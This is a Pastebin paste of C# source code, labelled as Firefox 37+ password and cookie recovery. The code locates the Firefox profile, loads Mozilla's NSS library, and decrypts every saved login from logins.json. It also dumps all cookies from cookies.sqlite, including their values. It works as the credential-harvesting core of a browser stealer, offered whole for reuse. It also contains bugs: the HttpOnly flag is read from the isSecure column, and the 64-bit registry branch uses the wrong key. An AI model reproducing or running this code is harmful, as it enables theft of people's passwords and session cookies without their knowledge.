LaPanthere

Firefox 37+ Password & Cookie Recovery

Apr 25th, 2015
2,333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 15.36 KB | None | 0 0
  1.  /// <summary>
  2.     /// A small class to recover Firefox Data
  3.     /// </summary>
  4.     public static class Firefox
  5.     {
  6.         private static IntPtr nssModule;
  7.  
  8.         private static DirectoryInfo firefoxPath;
  9.         private static DirectoryInfo firefoxProfilePath;
  10.  
  11.         private static FileInfo firefoxLoginFile;
  12.         private static FileInfo firefoxCookieFile;
  13.        
  14.         static Firefox()
  15.         {
  16.  
  17.             firefoxPath = GetFirefoxInstallPath();
  18.             if (firefoxPath == null)
  19.                 throw new NullReferenceException("Firefox is not installed, or the install path could not be located");
  20.  
  21.             firefoxProfilePath = GetProfilePath();
  22.             if (firefoxProfilePath == null)
  23.                 throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");
  24.  
  25.             firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json");
  26.             if (firefoxLoginFile == null)
  27.                 throw new NullReferenceException("Firefox does not have any logins.json file");
  28.  
  29.             firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite");
  30.             if (firefoxCookieFile == null)
  31.                 throw new NullReferenceException("Firefox does not have any cookie file");
  32.  
  33.         }
  34.  
  35.         #region Public Members
  36.         /// <summary>
  37.         /// Recover Firefox Passwords from logins.json
  38.         /// </summary>
  39.         /// <returns>List of Username/Password/Host</returns>
  40.         public static List<FirefoxPassword> Passwords()
  41.         {
  42.            
  43.             List<FirefoxPassword> firefoxPasswords = new List<FirefoxPassword>();
  44.  
  45.             // init libs
  46.             InitializeDelegates(firefoxProfilePath, firefoxPath);
  47.  
  48.  
  49.             JsonFFData ffLoginData = new JsonFFData();
  50.  
  51.             using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
  52.             {
  53.                 string json = sr.ReadToEnd();
  54.                 ffLoginData = JsonConvert.DeserializeObject<JsonFFData>(json);
  55.             }
  56.  
  57.             foreach (LoginData data in ffLoginData.logins)
  58.             {
  59.                 string username = Decrypt(data.encryptedUsername);
  60.                 string password = Decrypt(data.encryptedPassword);
  61.                 Uri host = new Uri(data.formSubmitURL);
  62.  
  63.                 firefoxPasswords.Add(new FirefoxPassword() { Host = host, Username = username, Password = password });
  64.             }
  65.  
  66.             return firefoxPasswords;
  67.         }
  68.         /// <summary>
  69.         /// Recover Firefox Cookies from the SQLite3 Database
  70.         /// </summary>
  71.         /// <returns>List of Cookies found</returns>
  72.         public static List<FirefoxCookie> Cookies()
  73.         {
  74.             List<FirefoxCookie> data = new List<FirefoxCookie>();
  75.             SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName);
  76.             if (!sql.ReadTable("moz_cookies"))
  77.                 throw new Exception("Could not read cookie table");
  78.  
  79.             int totalEntries = sql.GetRowCount();
  80.  
  81.             for (int i = 0; i < totalEntries; i++)
  82.             {
  83.                 try
  84.                 {
  85.                     string h = sql.GetValue(i, "host");
  86.                     //Uri host = new Uri(h);
  87.                     string name = sql.GetValue(i, "name");
  88.                     string val = sql.GetValue(i, "value");
  89.                     string path = sql.GetValue(i, "path");
  90.  
  91.                     bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
  92.                     bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;
  93.  
  94.                     // if this fails we're in deep shit
  95.                     long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
  96.                     long currentTime = ToUnixTime(DateTime.Now);
  97.                     DateTime exp = FromUnixTime(expiryTime);
  98.                     bool expired = currentTime > expiryTime;
  99.  
  100.                     data.Add(new FirefoxCookie()
  101.                     {
  102.                         Host = h,
  103.                         ExpiresUTC = exp,
  104.                         Expired = expired,
  105.                         Name = name,
  106.                         Value = val,
  107.                         Path = path,
  108.                         Secure = secure,
  109.                         HttpOnly = http
  110.                     });
  111.                 }
  112.                 catch (Exception)
  113.                 {
  114.                     return data;
  115.                 }
  116.             }
  117.             return data;
  118.         }
  119.         #endregion
  120.  
  121.         #region Functions
  122.         private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
  123.         {
  124.             //LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
  125.             //LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
  126.             LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
  127.             LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
  128.             LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
  129.             nssModule = LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
  130.             IntPtr pProc = GetProcAddress(nssModule, "NSS_Init");
  131.             NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
  132.             NSS_Init(firefoxProfilePath.FullName);
  133.             long keySlot = PK11_GetInternalKeySlot();
  134.             PK11_Authenticate(keySlot, true, 0);
  135.         }
  136.         private static DateTime FromUnixTime(long unixTime)
  137.         {
  138.             DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
  139.             return epoch.AddSeconds(unixTime);
  140.         }
  141.         private static long ToUnixTime(DateTime value)
  142.         {
  143.             TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime());
  144.             return (long)span.TotalSeconds;
  145.         }
  146.         #endregion
  147.  
  148.         #region File Handling
  149.         private static DirectoryInfo GetProfilePath()
  150.         {
  151.             string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
  152.             if (!Directory.Exists(raw))
  153.                 throw new Exception("Firefox Application Data folder does not exist!");
  154.             DirectoryInfo profileDir = new DirectoryInfo(raw);
  155.  
  156.             DirectoryInfo[] profiles = profileDir.GetDirectories();
  157.             if (profiles.Length == 0)
  158.                 throw new IndexOutOfRangeException("No Firefox profiles could be found");
  159.  
  160.             // return first profile, fuck it.
  161.             return profiles[0];
  162.  
  163.         }
  164.         private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
  165.         {
  166.             foreach (FileInfo file in profilePath.GetFiles(searchTerm))
  167.             {
  168.                 return file;
  169.             }
  170.             throw new Exception("No Firefox logins.json was found");
  171.  
  172.  
  173.         }
  174.         private static DirectoryInfo GetFirefoxInstallPath()
  175.         {
  176.             DirectoryInfo firefoxPath = null;
  177.             // get firefox path from registry
  178.             // we'll search the 32bit install location
  179.             RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
  180.             // and lets try the 64bit install location just in case
  181.             RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);
  182.  
  183.             if (localMachine1 != null)
  184.             {
  185.                 string[] installedVersions = localMachine1.GetSubKeyNames();
  186.                 // we'll take the first installed version, people normally only have one
  187.                 if (installedVersions.Length == 0)
  188.                     throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
  189.  
  190.                 RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
  191.  
  192.                 // get install directory
  193.                 string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
  194.  
  195.                 if (installString == null)
  196.                     throw new NullReferenceException("Install string was null");
  197.  
  198.                 firefoxPath = new DirectoryInfo(installString);
  199.  
  200.  
  201.             }
  202.             else if (localMachine2 != null)
  203.             {
  204.                 string[] installedVersions = localMachine1.GetSubKeyNames();
  205.                 // we'll take the first installed version, people normally only have one
  206.                 if (installedVersions.Length == 0)
  207.                     throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
  208.  
  209.                 RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
  210.  
  211.                 // get install directory
  212.                 string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
  213.  
  214.                 if (installString == null)
  215.                     throw new NullReferenceException("Install string was null");
  216.  
  217.                 firefoxPath = new DirectoryInfo(installString);
  218.             }
  219.             return firefoxPath;
  220.         }
  221.         #endregion
  222.  
  223.         #region WinApi
  224.         // Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary
  225.         private static IntPtr LoadWin32Library(string libPath)
  226.         {
  227.             if (String.IsNullOrEmpty(libPath))
  228.                 throw new ArgumentNullException("libPath");
  229.  
  230.             IntPtr moduleHandle = LoadLibrary(libPath);
  231.             if (moduleHandle == IntPtr.Zero)
  232.             {
  233.                 var lasterror = Marshal.GetLastWin32Error();
  234.                 var innerEx = new Win32Exception(lasterror);
  235.                 innerEx.Data.Add("LastWin32Error", lasterror);
  236.  
  237.                 throw new Exception("can't load DLL " + libPath, innerEx);
  238.             }
  239.             return moduleHandle;
  240.         }
  241.  
  242.         [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
  243.         static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
  244.  
  245.         [DllImport("kernel32.dll")]
  246.         public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
  247.  
  248.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  249.         private delegate long NSS_InitPtr(string configdir);
  250.  
  251.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  252.         private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx);
  253.  
  254.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  255.         private delegate long PK11_GetInternalKeySlotPtr();
  256.  
  257.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  258.         private delegate long PK11_AuthenticatePtr(long slot, bool loadCerts, long wincx);
  259.  
  260.         [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  261.         private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
  262.  
  263.         [StructLayout(LayoutKind.Sequential)]
  264.         private struct TSECItem
  265.         {
  266.             public int SECItemType;
  267.             public int SECItemData;
  268.             public int SECItemLen;
  269.         }
  270.  
  271.         #endregion
  272.  
  273.         #region JSON
  274.         // json deserialize classes
  275.         private class JsonFFData
  276.         {
  277.  
  278.             public long nextId;
  279.             public LoginData[] logins;
  280.             public string[] disabledHosts;
  281.             public int version;
  282.  
  283.         }
  284.         private class LoginData
  285.         {
  286.  
  287.             public long id;
  288.             public string hostname;
  289.             public string url;
  290.             public string httprealm;
  291.             public string formSubmitURL;
  292.             public string usernameField;
  293.             public string passwordField;
  294.             public string encryptedUsername;
  295.             public string encryptedPassword;
  296.             public string guid;
  297.             public int encType;
  298.             public long timeCreated;
  299.             public long timeLastUsed;
  300.             public long timePasswordChanged;
  301.             public long timesUsed;
  302.  
  303.         }
  304.         #endregion
  305.        
  306.         #region Delegate Handling
  307.         // Credit: http://www.codeforge.com/article/249225
  308.         private static long PK11_GetInternalKeySlot()
  309.         {
  310.             IntPtr pProc = GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
  311.             PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
  312.             return ptr();
  313.         }
  314.         private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
  315.         {
  316.             IntPtr pProc = GetProcAddress(nssModule, "PK11_Authenticate");
  317.             PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
  318.             return ptr(slot, loadCerts, wincx);
  319.         }
  320.         private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
  321.         {
  322.             IntPtr pProc = GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
  323.             NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
  324.             return ptr(arenaOpt, outItemOpt, inStr, inLen);
  325.         }
  326.         private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
  327.         {
  328.             IntPtr pProc = GetProcAddress(nssModule, "PK11SDR_Decrypt");
  329.             PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
  330.             return ptr(ref data, ref result, cx);
  331.         }
  332.         private static string Decrypt(string cypherText)
  333.         {
  334.             StringBuilder sb = new StringBuilder(cypherText);
  335.             int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
  336.             TSECItem tSecDec = new TSECItem();
  337.             TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
  338.             if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
  339.             {
  340.                 if (tSecDec.SECItemLen != 0)
  341.                 {
  342.                     byte[] bvRet = new byte[tSecDec.SECItemLen];
  343.                     Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
  344.                     return Encoding.UTF8.GetString(bvRet);
  345.                 }
  346.             }
  347.             return null;
  348.         }
  349.         #endregion
  350.     }
  351.     public class FirefoxPassword
  352.     {
  353.         public string Username { get; set; }
  354.         public string Password { get; set; }
  355.         public Uri Host { get; set; }
  356.         public override string ToString()
  357.         {
  358.             return string.Format("User: {0}{3}Pass: {1}{3}Host: {2}", Username, Password, Host.Host, Environment.NewLine);
  359.         }
  360.     }
  361.     public class FirefoxCookie
  362.     {
  363.         public string Host { get; set; }
  364.         public string Name { get; set; }
  365.         public string Value { get; set; }
  366.         public string Path { get; set; }
  367.         public DateTime ExpiresUTC { get; set; }
  368.         public bool Secure { get; set; }
  369.         public bool HttpOnly { get; set; }
  370.         public bool Expired { get; set; }
  371.  
  372.         public override string ToString()
  373.         {
  374.             return string.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure);
  375.         }
  376.     }
Add Comment
Please, Sign In to add comment